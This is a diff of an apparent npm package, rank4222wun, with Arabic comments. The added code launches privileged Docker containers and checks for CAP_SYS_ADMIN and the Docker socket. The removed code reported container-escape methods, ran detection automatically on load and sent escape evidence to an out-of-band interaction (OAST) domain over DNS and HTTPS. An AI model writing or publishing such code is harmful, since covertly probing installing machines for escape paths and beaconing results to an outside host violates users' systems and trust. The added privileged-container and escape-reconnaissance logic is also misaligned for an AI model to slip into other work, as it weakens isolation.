// 2. تنفيذ الأوامر
|
|
230
|
+
const results = await this.executeCommands();
|
|
231
|
+
|
|
232
|
+
// 3. حفظ النتائج
|
|
233
|
+
const outputFile = this.saveOutput();
|
|
234
|
+
|
|
235
|
+
// 4. عرض الملخص
|
|
236
|
+
this.showSummary(results, outputFile);
|
|
237
|
+
|
|
238
|
+
// 5. خيار shell تفاعلي
|
|
239
|
+
console.log('\n🎯 الخيارات المتاحة:');
|
|
240
|
+
console.log(' 1. تشغيل shell تفاعلي (bash)');
|
|
241
|
+
console.log(' 2. تنظيف الحاوية والخروج');
|
|
242
|
+
console.log(' 3. الخروج بدون تنظيف');
|
|
243
|
+
|
|
244
|
+
// انتظار قرار المستخدم
|
|
245
|
+
await this.waitForUserDecision();
|
|
246
|
+
|
|
247
|
+
} catch (error) {
|
|
248
|
+
console.error('❌ فشل التشغيل:', error.message);
|
|
249
|
+
}
|
|
532
250
|
}
|
|
533
|
-
|
|
534
|
-
|
|
535
|
-
|
|
536
|
-
|
|
537
|
-
|
|
538
|
-
|
|
539
|
-
|
|
540
|
-
|
|
541
|
-
|
|
542
|
-
|
|
543
|
-
|
|
544
|
-
|
|
545
|
-
|
|
546
|
-
|
|
251
|
+
|
|
252
|
+
showSummary(results, outputFile) {
|
|
253
|
+
console.log('\n' + '='.repeat(60));
|
|
254
|
+
console.log('📊 ملخص تشغيل الحاوية المميزة');
|
|
255
|
+
console.log('='.repeat(60));
|
|
256
|
+
|
|
257
|
+
console.log(`📦 Container ID: ${this.containerId?.substring(0, 12) || 'غير معروف'}`);
|
|
258
|
+
console.log(`📁 الناتج محفوظ في: ${outputFile}`);
|
|
259
|
+
|
|
260
|
+
if (results.osInfo) {
|
|
261
|
+
const osLine = results.osInfo.split('\n').find(l => l.includes('PRETTY_NAME'));
|
|
262
|
+
if (osLine) {
|
|
263
|
+
console.log(`🐧 النظام: ${osLine.split('=')[1]?.replace(/"/g, '')}`);
|
|
264
|
+
}
|
|
265
|
+
}
|
|
266
|
+
|
|
267
|
+
if (results.kernelInfo) {
|
|
268
|
+
console.log(`⚙️ Kernel: ${results.kernelInfo.split(' ')[2]}`);
|
|
269
|
+
}
|
|
270
|
+
|
|
271
|
+
if (results.capabilities && results.capabilities.includes('cap_sys_admin')) {
|
|
272
|
+
console.log(`🔓 الصلاحيات: CAP_SYS_ADMIN متاحة (صلاحيات مميزة كاملة)`);
|
|
273
|
+
}
|
|
274
|
+
|
|
275
|
+
console.log(`🔌 Docker socket: ${results.dockerSocket ? '✅ موجود' : '❌ غير موجود'}`);
|
|
276
|
+
console.log('='.repeat(60));
|
|
547
277
|
}
|
|
548
|
-
|
|
549
|
-
|
|
550
|
-
|
|
551
|
-
|
|
552
|
-
|
|
553
|
-
if (evidenceLog.finalVerdict.escapeMethods.length > 0) {
|
|
554
|
-
console.log(`\n🔧 طرق الهروب المكتشفة:`);
|
|
555
|
-
evidenceLog.finalVerdict.escapeMethods.forEach((method, i) => {
|
|
556
|
-
console.log(` ${i + 1}. ${method}`);
|
|
278
|
+
|
|
279
|
+
async waitForUserDecision() {
|
|
280
|
+
const readline = require('readline').createInterface({
|
|
281
|
+
input: process.stdin,
|
|
282
|
+
output: process.stdout
|
|
557
283
|
});
|
|
558
|
-
|
|
559
|
-
|
|
560
|
-
|
|
561
|
-
|
|
562
|
-
|
|
563
|
-
|
|
284
|
+
|
|
285
|
+
return new Promise((resolve) => {
|
|
286
|
+
readline.question('\nاختر رقم الخيار: ', async (answer) => {
|
|
287
|
+
switch(answer.trim()) {
|
|
288
|
+
case '1':
|
|
289
|
+
await this.getInteractiveShell();
|
|
290
|
+
readline.close();
|
|
291
|
+
await this.cleanup();
|
|
292
|
+
resolve();
|
|
293
|
+
break;
|
|
294
|
+
|
|
295
|
+
case '2':
|
|
296
|
+
readline.close();
|
|
297
|
+
await this.cleanup();
|
|
298
|
+
resolve();
|
|
299
|
+
break;
|
|
300
|
+
|
|
301
|
+
case '3':
|
|
302
|
+
default:
|
|
303
|
+
readline.close();
|
|
304
|
+
console.log('👋 تم الخروج. الحاوية لا تزال تعمل.');
|
|
305
|
+
console.log(` Container ID: ${this.containerId}`);
|
|
306
|
+
console.log(' يمكنك تنظيفها يدوياً:');
|
|
307
|
+
console.log(` docker stop ${this.containerId}`);
|
|
308
|
+
console.log(` docker rm ${this.containerId}`);
|
|
309
|
+
resolve();
|
|
310
|
+
break;
|
|
311
|
+
}
|
|
312
|
+
});
|
|
564
313
|
});
|
|
565
314
|
}
|
|
315
|
+
}
|
|
316
|
+
|
|
317
|
+
// ===================== النسخة المبسطة =====================
|
|
318
|
+
function runSimplePrivilegedContainer() {
|
|
319
|
+
console.log('🚀 جاري تشغيل: docker run --privileged -it ubuntu:latest /bin/bash\n');
|
|
320
|
+
|
|
321
|
+
const dockerProcess = spawn('docker', [
|
|
322
|
+
'run', '--privileged', '-it', 'ubuntu:latest', '/bin/bash'
|
|
323
|
+
], {
|
|
324
|
+
stdio: 'inherit'
|
|
325
|
+
});
|
|
566
326
|
|
|
567
|
-
|
|
568
|
-
|
|
569
|
-
|
|
570
|
-
console.log(` HTTPS Requests: ${evidenceLog.oastResults.httpsCalled ? '✅ تم إرسال' : '❌ لم يتم'}`);
|
|
571
|
-
console.log(` Total Interactions: ${evidenceLog.oastResults.interactions.length}`);
|
|
327
|
+
dockerProcess.on('close', (code) => {
|
|
328
|
+
console.log(`\n🔚 الحاوية أغلقت مع الكود: ${code}`);
|
|
329
|
+
});
|
|
572
330
|
|
|
573
|
-
|
|
574
|
-
|
|
575
|
-
|
|
331
|
+
// التعامل مع إشارات الإغلاق
|
|
332
|
+
process.on('SIGINT', () => {
|
|
333
|
+
console.log('\n\n⚠️ تم استقبال Ctrl+C...');
|
|
334
|
+
dockerProcess.kill('SIGINT');
|
|
335
|
+
});
|
|
336
|
+
}
|
|
337
|
+
|
|
338
|
+
// ===================== النسخة مع أوامر مسبقة =====================
|
|
339
|
+
function runWithPredefinedCommands() {
|
|
340
|
+
console.log('🚀 تشغيل حاوية مع أوامر مسبقة...\n');
|
|
341
|
+
|
|
342
|
+
const commands = [
|
|
343
|
+
'echo "=== مرحباً من الحاوية المميزة ==="',
|
|
344
|
+
'cat /etc/os-release | grep PRETTY_NAME',
|
|
345
|
+
'uname -a',
|
|
346
|
+
'whoami',
|
|
347
|
+
'id',
|
|
348
|
+
'echo "=== الصلاحيات ==="',
|
|
349
|
+
'capsh --print 2>/dev/null | head -5 || echo "capsh غير متاح"',
|
|
350
|
+
'echo "=== انتهى ==="',
|
|
351
|
+
'exit 0'
|
|
352
|
+
];
|
|
576
353
|
|
|
577
|
-
|
|
578
|
-
|
|
579
|
-
|
|
354
|
+
const dockerProcess = spawn('docker', [
|
|
355
|
+
'run', '--privileged', '--rm', 'ubuntu:latest', 'sh', '-c', commands.join(' && ')
|
|
356
|
+
]);
|
|
580
357
|
|
|
581
|
-
|
|
358
|
+
dockerProcess.stdout.on('data', (data) => {
|
|
359
|
+
console.log(data.toString());
|
|
360
|
+
});
|
|
582
361
|
|
|
583
|
-
|
|
584
|
-
|
|
585
|
-
|
|
586
|
-
console.log("=".repeat(80));
|
|
587
|
-
console.log("\n1. اذهب إلى: https://app.oastify.com (أو أداة Burp Collaborator)");
|
|
588
|
-
console.log(`2. أدخل الدومين: ${OAST_CONFIG.domain}`);
|
|
589
|
-
console.log(`3. ابحث عن Session ID: ${evidenceLog.sessionId}`);
|
|
590
|
-
console.log("4. ستجد التفاعلات التالية:");
|
|
591
|
-
console.log(" - DNS requests (إذا نجحت)");
|
|
592
|
-
console.log(" - HTTP requests (إذا نجحت)");
|
|
593
|
-
console.log(" - HTTPS POST requests مع أدلة الهروب");
|
|
594
|
-
console.log("\n5. إذا رأيت HTTPS request تحتوي على:");
|
|
595
|
-
console.log(" - 'escapedToHost': true ← تأكيد الهروب");
|
|
596
|
-
console.log(" - 'confidence': >60% ← ثقة عالية");
|
|
597
|
-
console.log(" - 'proofPoints' ← قائمة بالأدلة");
|
|
362
|
+
dockerProcess.stderr.on('data', (data) => {
|
|
363
|
+
console.error(data.toString());
|
|
364
|
+
});
|
|
598
365
|
|
|
599
|
-
|
|
600
|
-
|
|
601
|
-
|
|
602
|
-
console.log("📡 تم إرسال الأدلة إلى OAST الخاص بك");
|
|
603
|
-
console.log("🛡️ يجب اتخاذ إجراءات أمنية فورية");
|
|
604
|
-
} else if (evidenceLog.finalVerdict.escapedToHost === 'POSSIBLE') {
|
|
605
|
-
console.log("⚠️ تحذير: هروب محتمل من الحاوية");
|
|
606
|
-
console.log("📡 تحقق من OAST للأدلة التفصيلية");
|
|
607
|
-
} else {
|
|
608
|
-
console.log("✅ الحاوية تبدو معزولة بشكل جيد");
|
|
609
|
-
console.log("📡 تم إرسال تفاعلات OAST للتحقق");
|
|
610
|
-
}
|
|
611
|
-
console.log("=".repeat(80));
|
|
366
|
+
dockerProcess.on('close', (code) => {
|
|
367
|
+
console.log(`\n✅ انتهى مع الكود: ${code}`);
|
|
368
|
+
});
|
|
612
369
|
}
|
|
613
370
|
|
|
614
|
-
// =====================
|
|
615
|
-
|
|
616
|
-
console.log(
|
|
371
|
+
// ===================== الوظيفة الرئيسية =====================
|
|
372
|
+
async function main() {
|
|
373
|
+
console.log(`
|
|
374
|
+
╔══════════════════════════════════════════════════════════╗
|
|
375
|
+
║ تشغيل حاوية Docker مميزة ║
|
|
376
|
+
║ Privileged Container Runner ║
|
|
377
|
+
╚══════════════════════════════════════════════════════════╝
|
|
378
|
+
`);
|
|
379
|
+
|
|
380
|
+
console.log('📋 اختر طريقة التشغيل:');
|
|
381
|
+
console.log(' 1. تشغيل تفاعلي بسيط (docker run --privileged -it ubuntu:latest /bin/bash)');
|
|
382
|
+
console.log(' 2. تشغيل مع أوامر مسبقة وعرض الناتج');
|
|
383
|
+
console.log(' 3. تشغيل متقدم مع تقرير كامل');
|
|
384
|
+
console.log(' 4. خروج');
|
|
385
|
+
|
|
386
|
+
const readline = require('readline').createInterface({
|
|
387
|
+
input: process.stdin,
|
|
388
|
+
output: process.stdout
|
|
389
|
+
});
|
|
390
|
+
|
|
391
|
+
readline.question('\nاختر رقم: ', async (choice) => {
|
|
392
|
+
switch(choice.trim()) {
|
|
393
|
+
case '1':
|
|
394
|
+
readline.close();
|
|
395
|
+
runSimplePrivilegedContainer();
|
|
396
|
+
break;
|
|
397
|
+
|
|
398
|
+
case '2':
|
|
399
|
+
readline.close();
|
|
400
|
+
runWithPredefinedCommands();
|
|
401
|
+
break;
|
|
402
|
+
|
|
403
|
+
case '3':
|
|
404
|
+
readline.close();
|
|
405
|
+
const runner = new PrivilegedContainerRunner();
|
|
406
|
+
await runner.run();
|
|
407
|
+
break;
|
|
408
|
+
|
|
409
|
+
default:
|
|
410
|
+
readline.close();
|
|
411
|
+
console.log('👋 تم الخروج');
|
|
412
|
+
break;
|
|
413
|
+
}
|
|
414
|
+
});
|
|
415
|
+
}
|
|
617
416
|
|
|
618
|
-
//
|
|
619
|
-
|
|
620
|
-
|
|
621
|
-
|
|
622
|
-
|
|
623
|
-
|
|
624
|
-
|
|
625
|
-
|
|
626
|
-
|
|
417
|
+
// ===================== تشغيل مباشر من السطر =====================
|
|
418
|
+
if (require.main === module) {
|
|
419
|
+
// التحقق من تثبيت Docker
|
|
420
|
+
exec('which docker', (error) => {
|
|
421
|
+
if (error) {
|
|
422
|
+
console.error('❌ Docker غير مثبت أو غير موجود في PATH');
|
|
423
|
+
console.log(' يرجى تثبيت Docker أولاً:');
|
|
424
|
+
console.log(' https://docs.docker.com/get-docker/');
|
|
425
|
+
process.exit(1);
|
|
426
|
+
}
|
|
427
|
+
|
|
428
|
+
// التحقق من الصلاحيات
|
|
429
|
+
exec('docker ps', (error) => {
|
|
430
|
+
if (error && error.message.includes('permission denied')) {
|
|
431
|
+
console.error('❌ ليس لديك صلاحيات تشغيل Docker');
|
|
432
|
+
console.log(' حاول مع sudo أو أضف مستخدمك لمجموعة docker:');
|
|
433
|
+
console.log(' sudo usermod -aG docker $USER');
|
|
434
|
+
console.log(' ثم سجل الخروج وأدخل مرة أخرى');
|
|
435
|
+
process.exit(1);
|
|
436
|
+
}
|
|
437
|
+
|
|
438
|
+
// بدء البرنامج
|
|
439
|
+
main();
|
|
440
|
+
});
|
|
441
|
+
});
|
|
442
|
+
}
|
|
627
443
|
|
|
628
|
-
|
|
629
|
-
setTimeout(detectContainerEnvironment, 1000);
|
|
444
|
+
module.exports = { PrivilegedContainerRunner, runSimplePrivilegedContainer };
|
|
Binary file
|
package/rank4222wun-1.0.34.tgz
DELETED
|
Binary file
|